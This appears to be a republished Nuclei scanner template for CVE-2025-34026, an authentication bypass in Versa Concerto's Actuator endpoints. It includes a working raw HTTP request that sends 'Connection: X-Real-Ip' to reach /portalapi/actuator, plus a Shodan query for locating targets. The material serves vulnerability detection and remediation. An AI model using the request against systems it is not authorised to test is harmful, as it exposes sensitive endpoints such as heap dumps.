CVE-2025-34026: Versa Concerto Actuator Endpoint - Authentication Bypass

2025-08-01 Versa Concerto Actuator Endpoint PoC Public

Description

An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.

PoC

id: CVE-2025-34026

info:
  name: Versa Concerto Actuator Endpoint - Authentication Bypass
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.
  impact: |
    Attackers can bypass authentication by omitting the X-Real-Ip header to access restricted Spring Boot Actuator endpoints, potentially exposing sensitive system information and functionality.
  remediation: |
    Upgrade to the latest Versa Concerto version that properly validates authentication for all Actuator endpoints regardless of header presence.
  reference:
    - https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/
    - https://security-portal.versa-networks.com/emailbulletins/6830f94328defa375486ff2e
    - https://www.cve.org/CVERecord?id=CVE-2025-34026
  classification:
    cve-id: CVE-2025-34026
    cwe-id: CWE-288
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-score: 0.8194
    epss-percentile: 0.99631
    cpe: cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: versa-networks
    product: concerto
    max-request: 1
    shodan-query: http.favicon.hash:-534530225
  tags: versa,concerto,actuator,auth-bypass,springboot,cve,cve2025,vkev,vuln,kev

http:
  - raw:
      - |
        GET /portalapi/actuator HTTP/1.1
        Host: {{Hostname}}
        Connection: X-Real-Ip

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - heapdump

      - type: word
        part: header
        words:
          - EECP-CSRF-TOKEN
# digest: 4b0a00483046022100e05107559d983cae61b4da22efaf29886ab17b27ba8694fe2a96c5fd2c84cb0e022100c9167a2fb644c373ae4b0d0cc43916205342675e2fced71f2d0867f65f77c4ff:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-34026.yaml

References

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